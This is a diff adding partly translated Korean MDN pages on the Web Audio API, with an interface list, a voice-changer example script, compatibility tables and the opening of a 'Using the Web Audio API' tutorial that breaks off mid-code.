+ <dd><strong><code style="font-size: 14px;">OscillatorNode</code></strong> 인터페이스는 삼각파 또는 사인파와 같은 주기적 파형을 나타냅니다. 이것은 주어진 주파수의 파동을 생성하는 {{domxref("AudioNode")}} 오디오 프로세싱 모듈입니다.</dd>
+ <dt>{{domxref("AudioBuffer")}}</dt>
+ <dd><strong><code>AudioBuffer</code></strong> 인터페이스는 {{ domxref("AudioContext.decodeAudioData()") }}메소드를 사용해 오디오 파일에서 생성되거나 {{ domxref("AudioContext.createBuffer()") }}를 사용해 로우 데이터로부터 생성된 메모리상에 적재되는 짧은 오디오 자원을 나타냅니다. 이 형식으로 디코딩된 오디오는 {{ domxref("AudioBufferSourceNode") }}에 삽입될 수 있습니다.</dd>
+ <dt>{{domxref("AudioBufferSourceNode")}}</dt>
+ <dd><strong><code>AudioBufferSourceNode</code></strong> 인터페이스는 {{domxref("AudioBuffer")}}에 저장된 메모리상의 오디오 데이터로 구성된 오디오 소스를 나타냅니다. 이것은 오디오 소스 역할을 하는 {{domxref("AudioNode")}}입니다.</dd>
+ <dt>{{domxref("MediaElementAudioSourceNode")}}</dt>
+ <dd><code><strong>MediaElementAudio</strong></code><strong><code>SourceNode</code></strong> 인터페이스는 {{ htmlelement("audio") }} 나 {{ htmlelement("video") }} HTML 엘리먼트로 구성된 오디오 소스를 나타냅니다. 이것은 오디오 소스 역할을 하는 {{domxref("AudioNode")}}입니다.</dd>
+ <dt>{{domxref("MediaStreamAudioSourceNode")}}</dt>
+ <dd><code><strong>MediaStreamAudio</strong></code><strong><code>SourceNode</code></strong> 인터페이스는 <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> {{domxref("MediaStream")}}(웹캡, 마이크 혹은 원격 컴퓨터에서 전송된 스트림)으로 구성된 오디오 소스를 나타냅니다. 이것은 오디오 소스 역할을 하는 {{domxref("AudioNode")}}입니다.</dd>
+</dl>
+
+<h3 id="오디오_이펙트_필터_정의하기">오디오 이펙트 필터 정의하기</h3>
+
+<p>오디오 소스에 적용할 이펙트를 정의하는 인터페이스입니다.</p>
+
+<dl>
+ <dt>{{domxref("BiquadFilterNode")}}</dt>
+ <dd><strong><code>BiquadFilterNode</code></strong> 인터페이스는 간단한 하위 필터를 나타냅니다. 이것은 여러 종류의 필터나 톤 제어 장치 혹은 그래픽 이퀄라이저를 나타낼 수 있는 {{domxref("AudioNode")}}입니다. <code>BiquadFilterNode</code>는 항상 단 하나의 입력과 출력만을 가집니다. </dd>
+ <dt>{{domxref("ConvolverNode")}}</dt>
+ <dd><code><strong>Convolver</strong></code><strong><code>Node</code></strong><span style="line-height: 1.5;"> 인터페이스는 주어진 {{domxref("AudioBuffer")}}에 선형 콘볼루션을 수행하는 {{domxref("AudioNode")}}이며, 리버브 이펙트를 얻기 위해 자주 사용됩니다. </span></dd>
+ <dt>{{domxref("DelayNode")}}</dt>
+ <dd><strong><code>DelayNode</code></strong> 인터페이스는 지연선을 나타냅니다. 지연선은 입력 데이터가 출력에 전달되기까지의 사이에 딜레이를 발생시키는 {{domxref("AudioNode")}} 오디오 처리 모듈입니다.</dd>
+ <dt>{{domxref("DynamicsCompressorNode")}}</dt>
+ <dd><strong><code>DynamicsCompressorNode</code></strong> 인터페이스는 압축 이펙트를 제공합니다, 이는 신호의 가장 큰 부분의 볼륨을 낮추어 여러 사운드를 동시에 재생할 때 발생할 수 있는 클리핑 및 왜곡을 방지합니다.</dd>
+ <dt>{{domxref("GainNode")}}</dt>
+ <dd><strong><code>GainNode</code></strong> 인터페이스는 음량의 변경을 나타냅니다. 이는 출력에 전달되기 전의 입력 데이터에 주어진 음량 조정을 적용하기 위한 {{domxref("AudioNode")}} 오디오 모듈입니다.</dd>
+ <dt>{{domxref("StereoPannerNode")}}</dt>
+ <dd><code><strong>StereoPannerNode</strong></code> 인터페이스는 오디오 스트림을 좌우로 편향시키는데 사용될 수 있는 간단한 스테레오 패너 노드를 나타냅니다.</dd>
+ <dt>{{domxref("WaveShaperNode")}}</dt>
+ <dd><strong><code>WaveShaperNode</code></strong> 인터페이스는 비선형 왜곡을 나타냅니다. 이는 곡선을 사용하여 신호의 파형 형성에 왜곡을 적용하는 {{domxref("AudioNode")}}입니다. 분명한 왜곡 이펙트 외에도 신호에 따뜻한 느낌을 더하는데 자주 사용됩니다.</dd>
+ <dt>{{domxref("PeriodicWave")}}</dt>
+ <dd>{{domxref("OscillatorNode")}}의 출력을 형성하는데 사용될 수 있는 주기적 파형을 설명합니다.</dd>
+</dl>
+
+<h3 id="오디오_목적지_정의하기">오디오 목적지 정의하기</h3>
+
+<p>처리된 오디오를 어디에 출력할지 정의하는 인터페이스입니다.</p>
+
+<dl>
+ <dt>{{domxref("AudioDestinationNode")}}</dt>
+ <dd><strong><code>AudioDestinationNode</code></strong> 인터페이스는 주어진 컨텍스트 내의 오디오 소스의 최종 목적지를 나타냅니다. 주로 기기의 스피커로 출력할 때 사용됩니다.</dd>
+ <dt>{{domxref("MediaStreamAudioDestinationNode")}}</dt>
+ <dd><code><strong>MediaStreamAudio</strong></code><strong><code>DestinationNode</code></strong> 인터페이스는 단일 <code>AudioMediaStreamTrack</code> 을 가진 <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> {{domxref("MediaStream")}}로 구성된 오디오 목적지를 나타내며, 이는 {{ domxref("MediaDevices.getUserMedia", "getUserMedia()") }}에서 얻은 {{domxref("MediaStream")}}과 비슷한 방식으로 사용할 수 있습니다. 이것은 오디오 목적지 역할을 하는 {{domxref("AudioNode")}}입니다.</dd>
+</dl>
+
+<h3 id="데이터_분석_및_시각화">데이터 분석 및 시각화</h3>
+
+<p>오디오에서 재생시간이나 주파수 등의 데이터를 추출하기 위한 인터페이스입니다.</p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode")}}</dt>
+ <dd><strong><code>AnalyserNode</code></strong> 인터페이스는 데이터를 분석하고 시각화하기 위한 실시간 주파수와 시간영역 분석 정보를 제공하는 노드를 나타냅니다.</dd>
+</dl>
+
+<h3 id="오디오_채널을_분리하고_병합하기">오디오 채널을 분리하고 병합하기</h3>
+
+<p>오디오 채널들을 분리하거나 병합하기 위한 인터페이스입니다.</p>
+
+<dl>
+ <dt>{{domxref("ChannelSplitterNode")}}</dt>
+ <dd><code><strong>ChannelSplitterNode</strong></code> 인터페이스는 오디오 소스의 여러 채널을 모노 출력 셋으로 분리합니다.</dd>
+ <dt>{{domxref("ChannelMergerNode")}}</dt>
+ <dd><code><strong>ChannelMergerNode</strong></code> 인터페이스는 여러 모노 입력을 하나의 출력으로 재결합합니다. 각 입력은 출력의 채널을 채우는데 사용될 것입니다.</dd>
+</dl>
+
+<h3 id="오디오_공간화">오디오 공간화</h3>
+
+<p>오디오 소스에 오디오 공간화 패닝 이펙트를 추가하는 인터페이스입니다.</p>
+
+<dl>
+ <dt>{{domxref("AudioListener")}}</dt>
+ <dd><strong><code>AudioListener</code></strong> 인터페이스는 오디오 공간화에 사용되는 오디오 장면을 청취하는 고유한 시청자의 위치와 방향을 나타냅니다.</dd>
+ <dt>{{domxref("PannerNode")}}</dt>
+ <dd><strong><code>PannerNode</code></strong> 인터페이스는 공간 내의 신호 양식을 나타냅니다. 이것은 자신의 오른손 직교 좌표 내의 포지션과, 속도 벡터를 이용한 움직임과, 방향성 원뿔을 이용한 방향을 서술하는 {{domxref("AudioNode")}} 오디오 프로세싱 모듈입니다.</dd>
+</dl>
+
+<h3 id="자바스크립트에서_오디오_처리하기">자바스크립트에서 오디오 처리하기</h3>
+
+<p>자바스크립트에서 오디오 데이터를 처리하기 위한 코드를 작성할 수 있습니다. 이렇게 하려면 아래에 나열된 인터페이스와 이벤트를 사용하세요.</p>
+
+<div class="note">
+<p>이것은 Web Audio API 2014년 8월 29일의 스펙입니다. 이 기능은 지원이 중단되고 {{ anch("Audio_Workers") }}로 대체될 예정입니다.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("ScriptProcessorNode")}}</dt>
+ <dd><strong><code>ScriptProcessorNode</code></strong> 인터페이스는 자바스크립트를 이용한 오디오 생성, 처리, 분석 기능을 제공합니다. 이것은 현재 입력 버퍼와 출력 버퍼, 총 두 개의 버퍼에 연결되는 {{domxref("AudioNode")}} 오디오 프로세싱 모듈입니다. {{domxref("AudioProcessingEvent")}}인터페이스를 구현하는 이벤트는 입력 버퍼에 새로운 데이터가 들어올 때마다 객체로 전달되고, 출력 버퍼가 데이터로 채워지면 이벤트 핸들러가 종료됩니다.</dd>
+ <dt>{{event("audioprocess")}} (event)</dt>
+ <dd><strong><code>audioprocess</code></strong> 이벤트는 Web Audio API {{domxref("ScriptProcessorNode")}}의 입력 버퍼가 처리될 준비가 되었을 때 발생합니다.</dd>
+ <dt>{{domxref("AudioProcessingEvent")}}</dt>
+ <dd><a href="/en-US/docs/Web_Audio_API" title="/en-US/docs/Web_Audio_API">Web Audio API</a> <strong><code>AudioProcessingEvent</code></strong> 는 {{domxref("ScriptProcessorNode")}} 입력 버퍼가 처리될 준비가 되었을 때 발생하는 이벤트를 나타냅니다.</dd>
+</dl>
+
+<h3 id="오프라인백그라운드_오디오_처리하기">오프라인/백그라운드 오디오 처리하기</h3>
+
+<p>다음을 이용해 백그라운드(장치의 스피커가 아닌 {{domxref("AudioBuffer")}}으로 렌더링)에서 오디오 그래프를 신속하게 처리/렌더링 할수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("OfflineAudioContext")}}</dt>
+ <dd><strong><code>OfflineAudioContext</code></strong> 인터페이스는 {{domxref("AudioNode")}}로 연결되어 구성된 오디오 프로세싱 그래프를 나타내는 {{domxref("AudioContext")}} 인터페이스입니다. 표준 <strong><code>AudioContext</code></strong> 와 대조적으로, <strong><code>OfflineAudioContext</code></strong> 는 실제로 오디오를 렌더링하지 않고 가능한 빨리 버퍼 내에서 생성합니다. </dd>
+ <dt>{{event("complete")}} (event)</dt>
+ <dd><strong><code>complete</code></strong> 이벤트는 {{domxref("OfflineAudioContext")}}의 렌더링이 종료될때 발생합니다.</dd>
+ <dt>{{domxref("OfflineAudioCompletionEvent")}}</dt>
+ <dd><strong><code>OfflineAudioCompletionEvent</code></strong> 이벤트는 {{domxref("OfflineAudioContext")}} 의 처리가 종료될 때 발생하는 이벤트를 나타냅니다. {{event("complete")}} 이벤트는 이 이벤트를 구현합니다.</dd>
+</dl>
+
+<h3 id="Audio_Workers" name="Audio_Workers">오디오 워커</h3>
+
+<p>오디오 워커는 <a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">web worker</a> 컨텍스트 내에서 스크립팅된 오디오 처리를 관리하기 위한 기능을 제공하며, 두어가지 인터페이스로 정의되어 있습니다(2014년 8월 29일 새로운 기능이 추가되었습니다). 이는 아직 모든 브라우저에서 구현되지 않았습니다. 구현된 브라우저에서는 <a href="#Audio_processing_via_JavaScript">Audio processing in JavaScript</a>에서 설명된 {{domxref("ScriptProcessorNode")}}를 포함한 다른 기능을 대체합니다.</p>
+
+<dl>
+ <dt>{{domxref("AudioWorkerNode")}}</dt>
+ <dd><strong><code>AudioWorkerNode</code></strong> 인터페이스는 워커 쓰레드와 상호작용하여 오디오를 직접 생성, 처리, 분석하는 {{domxref("AudioNode")}}를 나타냅니다. </dd>
+ <dt>{{domxref("AudioWorkerGlobalScope")}}</dt>
+ <dd><strong><code>AudioWorkerGlobalScope</code></strong> 인터페이스는 <strong><code>DedicatedWorkerGlobalScope</code></strong> 에서 파생된 오디오 처리 스크립트가 실행되는 워커 컨텍스트를 나타내는 객체입니다. 이것은 워커 쓰레드 내에서 자바스크립트를 이용하여 직접 오디오 데이터를 생성, 처리, 분석할 수 있도록 설계되었습니다.</dd>
+ <dt>{{domxref("AudioProcessEvent")}}</dt>
+ <dd>이것은 처리를 수행하기 위해 {{domxref("AudioWorkerGlobalScope")}} 오브젝트로 전달되는 <code>Event</code> 오브젝트입니다.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Obsolete interfaces</h2>
+
+<p>The following interfaces were defined in old versions of the Web Audio API spec, but are now obsolete and have been replaced by other interfaces.</p>
+
+<dl>
+ <dt>{{domxref("JavaScriptNode")}}</dt>
+ <dd>Used for direct audio processing via JavaScript. This interface is obsolete, and has been replaced by {{domxref("ScriptProcessorNode")}}.</dd>
+ <dt>{{domxref("WaveTableNode")}}</dt>
+ <dd>Used to define a periodic waveform. This interface is obsolete, and has been replaced by {{domxref("PeriodicWave")}}.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p>This example shows a wide variety of Web Audio API functions being used. You can see this code in action on the <a href="https://mdn.github.io/voice-change-o-matic/">Voice-change-o-matic</a> demo (also check out the <a href="https://github.com/mdn/voice-change-o-matic">full source code at Github</a>) — this is an experimental voice changer toy demo; keep your speakers turned down low when you use it, at least to start!</p>
+
+<p>The Web Audio API lines are highlighted; if you want to find out more about what the different methods, etc. do, have a search around the reference pages.</p>
+
+<pre class="brush: js; highlight:[1,2,9,10,11,12,36,37,38,39,40,41,62,63,72,114,115,121,123,124,125,147,151] notranslate">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); // define audio context
+// Webkit/blink browsers need prefix, Safari won't work without window.
+
+var voiceSelect = document.getElementById("voice"); // select box for selecting voice effect options
+var visualSelect = document.getElementById("visual"); // select box for selecting audio visualization options
+var mute = document.querySelector('.mute'); // mute button
+var drawVisual; // requestAnimationFrame
+
+var analyser = audioCtx.createAnalyser();
+var distortion = audioCtx.createWaveShaper();
+var gainNode = audioCtx.createGain();
+var biquadFilter = audioCtx.createBiquadFilter();
+
+function makeDistortionCurve(amount) { // function to make curve shape for distortion/wave shaper node to use
+  var k = typeof amount === 'number' ? amount : 50,
+    n_samples = 44100,
+    curve = new Float32Array(n_samples),
+    deg = Math.PI / 180,
+    i = 0,
+    x;
+  for ( ; i &lt; n_samples; ++i ) {
+    x = i * 2 / n_samples - 1;
+    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
+  }
+  return curve;
+};
+
+navigator.getUserMedia (
+  // constraints - only audio needed for this app
+  {
+    audio: true
+  },
+
+  // Success callback
+  function(stream) {
+    source = audioCtx.createMediaStreamSource(stream);
+    source.connect(analyser);
+    analyser.connect(distortion);
+    distortion.connect(biquadFilter);
+    biquadFilter.connect(gainNode);
+    gainNode.connect(audioCtx.destination); // connecting the different audio graph nodes together
+
+    visualize(stream);
+    voiceChange();
+
+  },
+
+  // Error callback
+  function(err) {
+    console.log('The following gUM error occured: ' + err);
+  }
+);
+
+function visualize(stream) {
+  WIDTH = canvas.width;
+  HEIGHT = canvas.height;
+
+  var visualSetting = visualSelect.value;
+  console.log(visualSetting);
+
+  if(visualSetting == "sinewave") {
+    analyser.fftSize = 2048;
+    var bufferLength = analyser.frequencyBinCount; // half the FFT value
+    var dataArray = new Uint8Array(bufferLength); // create an array to store the data
+
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+
+    function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray); // get waveform data and put it into the array created above
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)'; // draw wave with canvas
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i &lt; bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();
+
+  } else if(visualSetting == "off") {
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+    canvasCtx.fillStyle = "red";
+    canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+  }
+
+}
+
+function voiceChange() {
+  distortion.curve = new Float32Array;
+  biquadFilter.gain.value = 0; // reset the effects each time the voiceChange function is run
+
+  var voiceSetting = voiceSelect.value;
+  console.log(voiceSetting);
+
+  if(voiceSetting == "distortion") {
+    distortion.curve = makeDistortionCurve(400); // apply distortion to sound using waveshaper node
+  } else if(voiceSetting == "biquad") {
+    biquadFilter.type = "lowshelf";
+    biquadFilter.frequency.value = 1000;
+    biquadFilter.gain.value = 25; // apply lowshelf filter to sounds using biquad
+  } else if(voiceSetting == "off") {
+    console.log("Voice settings turned off"); // do nothing, as off option was chosen
+  }
+
+}
+
+// event listeners to change visualize and voice settings
+
+visualSelect.onchange = function() {
+  window.cancelAnimationFrame(drawVisual);
+  visualize(stream);
+}
+
+voiceSelect.onchange = function() {
+  voiceChange();
+}
+
+mute.onclick = voiceMute;
+
+function voiceMute() { // toggle to mute and unmute sound
+  if(mute.id == "") {
+    gainNode.gain.value = 0; // gain set to 0 to mute sound
+    mute.id = "activated";
+    mute.innerHTML = "Unmute";
+  } else {
+    gainNode.gain.value = 1; // gain set to 1 to unmute sound
+    mute.id = "";
+    mute.innerHTML = "Mute";
+  }
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Audio API')}}</td>
+ <td>{{Spec2('Web Audio API')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>14 {{property_prefix("webkit")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>23</td>
+ <td>{{CompatNo}}</td>
+ <td>15 {{property_prefix("webkit")}}<br>
+ 22 (unprefixed)</td>
+ <td>6 {{property_prefix("webkit")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>28 {{property_prefix("webkit")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>25</td>
+ <td>1.2</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>6 {{property_prefix("webkit")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a></li>
+ <li><a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic example</a></li>
+ <li><a href="http://mdn.github.io/violent-theremin/">Violent Theremin example</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialisation_basics">Web audio spatialisation basics</a></li>
+ <li><a href="http://www.html5rocks.com/tutorials/webaudio/positional_audio/" title="http://www.html5rocks.com/tutorials/webaudio/positional_audio/">Mixing Positional Audio and WebGL</a></li>
+ <li><a href="http://www.html5rocks.com/tutorials/webaudio/games/" title="http://www.html5rocks.com/tutorials/webaudio/games/">Developing Game Audio with the Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext" title="/en-US/docs/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">Porting webkitAudioContext code to standards based AudioContext</a></li>
+ <li><a href="https://github.com/bit101/tones">Tones</a>: a simple library for playing specific tones/notes using the Web Audio API.</li>
+ <li><a href="https://github.com/goldfire/howler.js/">howler.js</a>: a JS audio library that defaults to <a href="https://dvcs.w3.org/hg/audio/raw-file/tip/webaudio/specification.html">Web Audio API</a> and falls back to <a href="http://www.whatwg.org/specs/web-apps/current-work/#the-audio-element">HTML5 Audio</a>, as well as providing other useful features.</li>
+ <li><a href="https://github.com/mattlima/mooog">Mooog</a>: jQuery-style chaining of AudioNodes, mixer-style sends/returns, and more.</li>
+</ul>
+
+<section id="Quick_Links">
+<h3 id="Quicklinks">Quicklinks</h3>
+
+<ol>
+ <li data-default-state="open"><strong><a href="#">Guides</a></strong>
+
+ <ol>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API">Basic concepts behind Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialization_basics">Web audio spatialization basics</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext" title="/en-US/docs/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">Porting webkitAudioContext code to standards based AudioContext</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><strong><a href="#">Examples</a></strong>
+ <ol>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Simple_synth">Simple synth keyboard</a></li>
+ <li><a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a></li>
+ <li><a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><strong><a href="#">Interfaces</a></strong>
+ <ol>
+ <li>{{domxref("AnalyserNode")}}</li>
+ <li>{{domxref("AudioBuffer")}}</li>
+ <li>{{domxref("AudioBufferSourceNode")}}</li>
+ <li>{{domxref("AudioContext")}}</li>
+ <li>{{domxref("AudioDestinationNode")}}</li>
+ <li>{{domxref("AudioListener")}}</li>
+ <li>{{domxref("AudioNode")}}</li>
+ <li>{{domxref("AudioParam")}}</li>
+ <li>{{event("audioprocess")}} (event)</li>
+ <li>{{domxref("AudioProcessingEvent")}}</li>
+ <li>{{domxref("BiquadFilterNode")}}</li>
+ <li>{{domxref("ChannelMergerNode")}}</li>
+ <li>{{domxref("ChannelSplitterNode")}}</li>
+ <li>{{event("complete")}} (event)</li>
+ <li>{{domxref("ConvolverNode")}}</li>
+ <li>{{domxref("DelayNode")}}</li>
+ <li>{{domxref("DynamicsCompressorNode")}}</li>
+ <li>{{event("ended_(Web_Audio)", "ended")}} (event)</li>
+ <li>{{domxref("GainNode")}}</li>
+ <li>{{domxref("MediaElementAudioSourceNode")}}</li>
+ <li>{{domxref("MediaStreamAudioDestinationNode")}}</li>
+ <li>{{domxref("MediaStreamAudioSourceNode")}}</li>
+ <li>{{domxref("OfflineAudioCompletionEvent")}}</li>
+ <li>{{domxref("OfflineAudioContext")}}</li>
+ <li>{{domxref("OscillatorNode")}}</li>
+ <li>{{domxref("PannerNode")}}</li>
+ <li>{{domxref("PeriodicWave")}}</li>
+ <li>{{domxref("ScriptProcessorNode")}}</li>
+ <li>{{domxref("WaveShaperNode")}}</li>
+ </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/web/api/web_audio_api/using_web_audio_api/index.html b/files/ko/web/api/web_audio_api/using_web_audio_api/index.html
new file mode 100644
index 0000000000..3b64b5809c
--- /dev/null
+++ b/files/ko/web/api/web_audio_api/using_web_audio_api/index.html
@@ -0,0 +1,238 @@
+---
+title: Using the Web Audio API
+slug: Web/API/Web_Audio_API/Using_Web_Audio_API
+translation_of: Web/API/Web_Audio_API/Using_Web_Audio_API
+---
+<div>{{DefaultAPISidebar("Web Audio API")}}</div>
+
+<p class="summary" id="webaudioapibasics"><span class="seoSummary">Let's take a look at getting started with the <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>. We'll briefly look at some concepts, then study a simple boombox example that allows us to load an audio track, play and pause it, and change its volume and stereo panning.</span></p>
+
+<p>The Web Audio API does not replace the {{HTMLElement("audio")}} media element, but rather complements it, just like {{HTMLElement("canvas")}} coexists alongside the {{HTMLElement("img")}} element. Your use case will determine what tools you use to implement audio. If you simply want to control playback of an audio track, the <code>&lt;audio&gt;</code> media element provides a better, quicker solution than the Web Audio API. If you want to carry out more complex audio processing, as well as playback, the Web Audio API provides much more power and control.</p>
+
+<p>A powerful feature of the Web Audio API is that it does not have a strict "sound call limitation". For example, there is no ceiling of 32 or 64 sound calls at one time. Some processors may be capable of playing more than 1,000 simultaneous sounds without stuttering.</p>
+
+<h2 id="Example_code">Example code</h2>
+
+<p>Our boombox looks like this:</p>
+
+<p><img alt="A boombox with play, pan, and volume controls" src="https://mdn.mozillademos.org/files/16197/boombox.png" style="border-style: solid; border-width: 1px; height: 646px; width: 1200px;"></p>
+
+<p>플레이 버튼과 볼륨조절 버튼 그리고 스테레오 패닝(Stereo panning)을 위한 슬라이더가 있는 레트로 카세트덱이 있습니다. 카세트덱을 이것보다 더 복잡하게 만들 수 있겠지만 이 단계에서는 이정도로 학습을 하는데에는 충분합니다.</p>
+
+<p><a href="https://codepen.io/Rumyra/pen/qyMzqN/">Check out the final demo here on Codepen</a>, or see the <a href="https://github.com/mdn/webaudio-examples/tree/master/audio-basics">source code on GitHub</a>.</p>
+
+<h2 id="Browser_support">Browser support</h2>
+
+<p>현대의 브라우저들은 Web Audio API에 대한 대부분의 기능들을 제공합니다. API의 여러 특징(features)이 있지만 더 정확한 정보는 각 페이지의 아래에 있는 브라우저 호환 테이블(the browser compatibility tables)을 확인하세요.</p>
+
+<h2 id="Audio_graphs">Audio graphs</h2>
+
+<p>Everything within the Web Audio API is based around the concept of an audio graph, which is made up of nodes.</p>
+
+<p>The Web Audio API handles audio operations inside an <strong>audio context</strong>, and has been designed to allow <strong>modular routing</strong>. Basic audio operations are performed with <strong>audio nodes</strong>, which are linked together to form an <strong>audio routing graph</strong>. You have input nodes, which are the source of the sounds you are manipulating, modification nodes that change those sounds as desired, and output nodes (destinations), which allow you to save or hear those sounds.</p>
+
+<p>Several audio sources with different channel layouts are supported, even within a single context. Because of this modular design, you can create complex audio functions with dynamic effects.</p>
+
+<h2 id="Audio_context">Audio context</h2>
+
+<p>To be able to do anything with the Web Audio API, we need to create an instance of the audio context. This then gives us access to all the features and functionality of the API.</p>
+
+<pre class="brush: js">// for legacy browsers
+const AudioContext = window.AudioContext || window.webkitAudioContext;
+
+const audioContext = new AudioContext();
+</pre>
+
+<p>So what's going on when we do this? A {{domxref("BaseAudioContext")}} is created for us automatically and extended to an online audio context. We'll want this because we're looking to play live sound.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If you just want to process audio data, for instance, buffer and stream it but not play it, you might want to look into creating an {{domxref("OfflineAudioContext")}}.</p>
+</div>
+
+<h2 id="Loading_sound">Loading sound</h2>
+
+<p>Now, the audio context we've created needs some sound to play through it. There are a few ways to do this with the API. Let's begin with a simple method — as we have a boombox, we most likely want to play a full song track. Also, for accessibility, it's nice to expose that track in the DOM. We'll expose the song on the page using an {{htmlelement("audio")}} element.</p>
+
+<pre class="brush: html">&lt;audio src="myCoolTrack.mp3" type="audio/mpeg"&gt;&lt;/audio&gt;
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: If the sound file you're loading is held on a different domain you will need to use the <code>crossorigin</code> attribute; see <a href="/en-US/docs/Web/HTTP/CORS">Cross Origin Resource Sharing (CORS)</a>  for more information.</p>
+</div>
+
+<p>To use all the nice things we get with the Web Audio API, we need to grab the source from this element and <em>pipe</em> it into the context we have created. Lucky for us there's a method that allows us to do just that — {{domxref("AudioContext.createMediaElementSource")}}:</p>
+
+<pre class="brush: js">// get the audio element
+const audioElement = document.querySelector('audio');
+
+// pass it into the audio context
+const track = audioContext.createMediaElementSource(audioElement);
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: The <code>&lt;audio&gt;</code> element above is represented in the DOM by an object of type {{domxref("HTMLMediaElement")}}, which comes with its own set of functionality. All of this has stayed intact; we are merely allowing the sound to be available to the Web Audio API.</p>
+</div>
+
+<h2 id="Controlling_sound">Controlling sound</h2>
+
+<p>When playing sound on the web, it's important to allow the user to control it. Depending on the use case, there's a myriad of options, but we'll provide functionality to play/pause the sound, alter the track's volume, and pan it from left to right.</p>
+
+<p>Controlling sound programmatically from JavaScript code is covered by browsers' autoplay support policies, as such is likely to be blocked without permission being granted by the user (or a whitelist). Autoplay policies typically require either explicit permission or a user engagement with the page before scripts can trigger audio to play.</p>
+
+<p>These special requirements are in place essentially because unexpected sounds can be annoying and intrusive, and can cause accessibility problems. You can learn more about this in our article <a href="/en-US/docs/Web/Media/Autoplay_guide">Autoplay guide for media and Web Audio APIs</a>.</p>
+
+<p>Since our scripts are playing audio in response to a user input event (a click on a play button, for instance), we're in good shape and should have no problems from autoplay blocking. So, let's start by taking a look at our play and pause functionality. We have a play button that changes to a pause button when the track is playing:</p>
+
+<pre class="brush: html">&lt;button data-playing="false" role="switch" aria-checked="false"&gt;
